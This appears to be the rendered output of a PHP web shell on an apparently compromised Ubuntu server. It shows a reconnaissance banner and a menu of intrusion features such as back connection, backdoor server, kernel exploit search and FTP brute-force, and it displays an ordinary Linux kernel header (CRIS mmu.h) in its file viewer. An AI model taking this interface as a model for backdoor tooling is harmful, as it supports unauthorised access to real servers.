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| System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
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| Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
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| ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
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| Safe Mode | : | OFF |
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| Freespace | : | 21.81 GB of 70.42 GB (30.98%) |
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MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
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Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
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[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
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/
usr/
src/
linux-headers-3.0.0-14/
arch/
cris/
include/
arch-v10/
arch/
- drwxr-xr-x
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Viewing file:  mmu.h (3.47 KB) -rw-r--r--Select action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
/*
* CRIS MMU constants and PTE layout
*/
#ifndef _CRIS_ARCH_MMU_H
#define _CRIS_ARCH_MMU_H
/* type used in struct mm to couple an MMU context to an active mm */
typedef struct
{
unsigned int page_id;
} mm_context_t;
/* kernel memory segments */
#define KSEG_F 0xf0000000UL
#define KSEG_E 0xe0000000UL
#define KSEG_D 0xd0000000UL
#define KSEG_C 0xc0000000UL
#define KSEG_B 0xb0000000UL
#define KSEG_A 0xa0000000UL
#define KSEG_9 0x90000000UL
#define KSEG_8 0x80000000UL
#define KSEG_7 0x70000000UL
#define KSEG_6 0x60000000UL
#define KSEG_5 0x50000000UL
#define KSEG_4 0x40000000UL
#define KSEG_3 0x30000000UL
#define KSEG_2 0x20000000UL
#define KSEG_1 0x10000000UL
#define KSEG_0 0x00000000UL
/* CRIS PTE bits (see R_TLB_LO in the register description)
*
* Bit: 31 30-13 12-------4 3 2 1 0
* _______________________________________________________
* | cache |pfn | reserved | global | valid | kernel | we |
* |_______|____|__________|________|_______|________|_____|
*
* (pfn = physical frame number)
*/
/* Real HW-based PTE bits. We use some synonym names so that
* things become less confusing in combination with the SW-based
* bits further below.
*
*/
#define _PAGE_WE (1<<0) /* page is write-enabled */
#define _PAGE_SILENT_WRITE (1<<0) /* synonym */
#define _PAGE_KERNEL (1<<1) /* page is kernel only */
#define _PAGE_VALID (1<<2) /* page is valid */
#define _PAGE_SILENT_READ (1<<2) /* synonym */
#define _PAGE_GLOBAL (1<<3) /* global page - context is ignored */
#define _PAGE_NO_CACHE (1<<31) /* part of the uncached memory map */
/* Bits the HW doesn't care about but the kernel uses them in SW */
#define _PAGE_PRESENT (1<<4) /* page present in memory */
#define _PAGE_FILE (1<<5) /* set: pagecache, unset: swap (when !PRESENT) */
#define _PAGE_ACCESSED (1<<5) /* simulated in software using valid bit */
#define _PAGE_MODIFIED (1<<6) /* simulated in software using we bit */
#define _PAGE_READ (1<<7) /* read-enabled */
#define _PAGE_WRITE (1<<8) /* write-enabled */
/* Define some higher level generic page attributes. */
#define __READABLE (_PAGE_READ | _PAGE_SILENT_READ | _PAGE_ACCESSED)
#define __WRITEABLE (_PAGE_WRITE | _PAGE_SILENT_WRITE | _PAGE_MODIFIED)
#define _PAGE_TABLE (_PAGE_PRESENT | __READABLE | __WRITEABLE)
#define _PAGE_CHG_MASK (PAGE_MASK | _PAGE_ACCESSED | _PAGE_MODIFIED)
#define PAGE_NONE __pgprot(_PAGE_PRESENT | _PAGE_ACCESSED)
#define PAGE_SHARED __pgprot(_PAGE_PRESENT | __READABLE | _PAGE_WRITE | \
_PAGE_ACCESSED)
#define PAGE_COPY __pgprot(_PAGE_PRESENT | __READABLE) // | _PAGE_COW
#define PAGE_READONLY __pgprot(_PAGE_PRESENT | __READABLE)
#define PAGE_KERNEL __pgprot(_PAGE_GLOBAL | _PAGE_KERNEL | \
_PAGE_PRESENT | __READABLE | __WRITEABLE)
#define _KERNPG_TABLE (_PAGE_TABLE | _PAGE_KERNEL)
/*
* CRIS can't do page protection for execute, and considers read the same.
* Also, write permissions imply read permissions. This is the closest we can
* get..
*/
#define __P000 PAGE_NONE
#define __P001 PAGE_READONLY
#define __P010 PAGE_COPY
#define __P011 PAGE_COPY
#define __P100 PAGE_READONLY
#define __P101 PAGE_READONLY
#define __P110 PAGE_COPY
#define __P111 PAGE_COPY
#define __S000 PAGE_NONE
#define __S001 PAGE_READONLY
#define __S010 PAGE_SHARED
#define __S011 PAGE_SHARED
#define __S100 PAGE_READONLY
#define __S101 PAGE_READONLY
#define __S110 PAGE_SHARED
#define __S111 PAGE_SHARED
#define PTE_FILE_MAX_BITS 26
#endif
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